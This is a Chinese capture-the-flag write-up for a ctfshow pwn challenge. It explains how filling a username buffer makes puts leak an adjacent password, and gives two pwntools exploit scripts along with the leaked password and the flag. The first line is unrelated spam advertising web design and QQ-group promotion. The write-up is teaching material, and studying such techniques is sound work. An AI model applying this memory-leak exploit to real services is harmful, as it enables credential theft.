邢台网站制作哪家强qq群推广拉人
检查一下,32 位程序,开启 NX 保护
ida 反编译看伪代码
首先清空了 s、v5、s1
读取用户名到 v5
在 v5 中找 \n,找到则将其设置为 \0
在 v5 后面追加 \nInput your Password.
接下来打开 password.txt 读到 s
打印出 v5 即用户名
继续从标准输入读取内容到 s1
将 v5 的第一个元素设置为 0
比较 s1 和 s 是否相等,相等则执行 flag 函数
跟进 flag 函数看看:
flag 函数就是读取并打印 flag
那么漏洞点在哪儿,虽然我们 fgets 能输入的长度最大就是数组的大小
但是这个 puts 有问题,puts 需要遇到 \x00 才会停止
尽管前面会将我们输入到 v5 的内容的 \n 替换为 \0
但是如果我们直接将 v5 填充满,那么结尾的换行符就输不进去
那么就导致找不到换行符,进而截止标识 \x00 也没有
由于 puts 没有遇到 \x00,并且 s 就在 v5 下面
s 存储的是密码,就会被一起打印出来
测试一下,exp:
# @author:My6n
# @time:20250613
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28233)
payload = cyclic(0x100)
io.sendlineafter('Input your Username:\n',payload)
io.recvuntil('Welcome ')
passwd = io.recv()
print(passwd)
拿到密码:CTFshow_PWN_r00t_p@ssw0rd_1s_h3r3
拿到密码后再次连接,用户名随便输
密码输正确即可拿到 flag
flag:ctfshow{58368d5b-b049-406b-a415-e8a4929e6c91}
当然也可以写一个一步到位的 exp:
# @author:My6n
# @time:20250613
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28233)
payload = cyclic(0x100)
io.sendlineafter('Input your Username:\n',payload)
io.recvuntil(',')
passwd = io.recv()[:33]
print(passwd)
io.close()
io = remote('pwn.challenge.ctf.show',28233)
io.sendlineafter('Input your Username:\n',b'test')
io.sendlineafter('Input your Password.\n',passwd)
io.interactive()